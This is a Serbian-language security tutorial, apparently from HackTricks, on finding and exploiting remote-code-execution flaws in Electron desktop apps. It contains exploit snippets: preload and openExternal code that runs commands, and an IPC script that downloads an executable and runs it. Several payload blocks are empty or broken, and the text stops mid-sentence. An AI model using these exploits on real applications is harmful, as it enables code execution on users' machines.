# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
## Uvod
Electron kombinuje lokalni backend (sa **NodeJS**) i frontend (**Chromium**), iako mu nedostaju neki od bezbednosnih mehanizama modernih pregledača.
Obično možete pronaći kod electron aplikacije unutar `.asar` aplikacije, kako biste dobili kod, potrebno je da ga ekstrahujete:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
U izvornoj kodu Electron aplikacije, unutar `packet.json`, možete pronaći navedenu `main.js` datoteku gde su postavljene bezbednosne konfiguracije.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron ima 2 tipa procesa:
- Glavni proces (ima potpun pristup NodeJS-u)
- Proces renderera (treba da ima ograničen pristup NodeJS-u iz bezbednosnih razloga)
.png>)
**Proces renderera** će biti prozor pregledača koji učitava datoteku:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Podešavanja **renderer process** mogu se **konfigurisati** u **main process** unutar main.js datoteke. Neka od podešavanja će **sprečiti Electron aplikaciju da dobije RCE** ili druge ranjivosti ako su **podešavanja ispravno konfigurisana**.
Electron aplikacija **može pristupiti uređaju** putem Node apija, iako se može konfigurisati da to spreči:
- **`nodeIntegration`** - je `isključen` po defaultu. Ako je uključen, omogućava pristup node funkcijama iz renderer process.
- **`contextIsolation`** - je `uključen` po defaultu. Ako je isključen, main i renderer procesi nisu izolovani.
- **`preload`** - prazan po defaultu.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - je isključen po defaultu. Ograničiće akcije koje NodeJS može izvesti.
- Node Integration u Workers
- **`nodeIntegrationInSubframes`** - je `isključen` po defaultu.
- Ako je **`nodeIntegration`** **omogućen**, to bi omogućilo korišćenje **Node.js API-a** na web stranicama koje su **učitane u iframes** unutar Electron aplikacije.
- Ako je **`nodeIntegration`** **onemogućen**, tada će preloads biti učitani u iframe.
Primer konfiguracije:
```javascript
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
```
Neki **RCE payloads** sa [ovde](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
Example Payloads (Linux & MacOS):
```
### Capture traffic
Izmenite start-main konfiguraciju i dodajte korišćenje proksija kao što su:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Ako možete lokalno izvršiti Electron aplikaciju, moguće je da možete izvršiti proizvoljni JavaScript kod. Proverite kako u:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
{{#endref}}
## RCE: XSS + nodeIntegration
Ako je **nodeIntegration** postavljen na **on**, JavaScript web stranice može lako koristiti Node.js funkcije jednostavno pozivajući `require()`. Na primer, način za izvršavanje kalkulator aplikacije na Windows-u je:
```html
```
## RCE: preload
Skripta navedena u ovoj postavci je l**oaded pre drugih skripti u rendereru**, tako da ima **neograničen pristup Node API-ima**:
```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Stoga, skript može da eksportuje node-features na stranice:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
```
```html:index.html
```
> [!NOTE] > **Ako je `contextIsolation` uključen, ovo neće raditi**
## RCE: XSS + contextIsolation
_**contextIsolation**_ uvodi **odvojene kontekste između skripti web stranice i unutrašnjeg JavaScript koda Electron-a** tako da izvršavanje JavaScript-a svakog koda ne utiče na druge. Ovo je neophodna funkcija za eliminaciju mogućnosti RCE.
Ako konteksti nisu izolovani, napadač može:
1. Izvršiti **arbitrarni JavaScript u renderer-u** (XSS ili navigacija na spoljne sajtove)
2. **Prepisati ugrađenu metodu** koja se koristi u preload-u ili unutrašnjem kodu Electron-a na svoju funkciju
3. **Pokrenuti** korišćenje **prepisane funkcije**
4. RCE?
Postoje 2 mesta gde se ugrađene metode mogu prepisati: U preload kodu ili u unutrašnjem kodu Electron-a:
{{#ref}}
electron-contextisolation-rce-via-preload-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-electron-internal-code.md
{{#endref}}
{{#ref}}
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Bypass click event
Ako postoje ograničenja kada kliknete na link, možda ćete moći da ih zaobiđete **srednjim klikom** umesto običnim levim klikom.
```javascript
window.addEventListener('click', (e) => {
```
## RCE putem shell.openExternal
Za više informacija o ovim primerima pogledajte [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) i [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Kada se implementira Electron desktop aplikacija, osiguranje ispravnih podešavanja za `nodeIntegration` i `contextIsolation` je ključno. Utvrđeno je da **izvršavanje daljinskog koda na klijentskoj strani (RCE)** koje cilja preload skripte ili Electron-ov nativni kod iz glavnog procesa efikasno sprečava sa ovim podešavanjima.
Kada korisnik interaguje sa linkovima ili otvara nove prozore, aktiviraju se specifični slušači događaja, koji su ključni za bezbednost i funkcionalnost aplikacije:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ovi slušatelji su **prepisani od strane desktop aplikacije** da implementiraju svoju vlastitu **poslovnu logiku**. Aplikacija procenjuje da li bi navigirani link trebao biti otvoren interno ili u spoljašnjem web pretraživaču. Ova odluka se obično donosi putem funkcije, `openInternally`. Ako ova funkcija vrati `false`, to ukazuje da link treba biti otvoren spolja, koristeći funkciju `shell.openExternal`.
**Evo pojednostavljenog pseudokoda:**
.png>)
.png>)
Electron JS sigurnosne najbolje prakse savetuju protiv prihvatanja nepouzdanog sadržaja sa funkcijom `openExternal`, jer to može dovesti do RCE kroz različite protokole. Operativni sistemi podržavaju različite protokole koji mogu pokrenuti RCE. Za detaljne primere i dalju objašnjenje o ovoj temi, može se konsultovati [ovaj resurs](https://positive.security/blog/url-open-rce#windows-10-19042), koji uključuje primere Windows protokola sposobnih za iskorišćavanje ove ranjivosti.
U macOS-u, funkcija `openExternal` može biti iskorišćena za izvršavanje proizvoljnih komandi kao u `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Primeri Windows protokolskih eksploatacija uključuju:**
```html
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
Ova ranjivost se može naći u **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** je **deprecated feature** koja omogućava korišćenje **NodeJS** u **renderer process**, što bi trebalo biti onemogućeno jer omogućava učitavanje skripte unutar preload konteksta kao:
```xml
```
Stoga, napadač koji uspe da učita proizvoljnu stranicu mogao bi da iskoristi tu oznaku da **učita proizvoljan preload skript**.
Ovaj preload skript je zatim zloupotrebljen da pozove **ranjivu IPC uslugu (`skype-new-window`)** koja je pozivala **`shell.openExternal`** da bi dobila RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Čitanje internih fajlova: XSS + contextIsolation
**Onemogućavanje `contextIsolation` omogućava korišćenje `` tagova**, sličnih `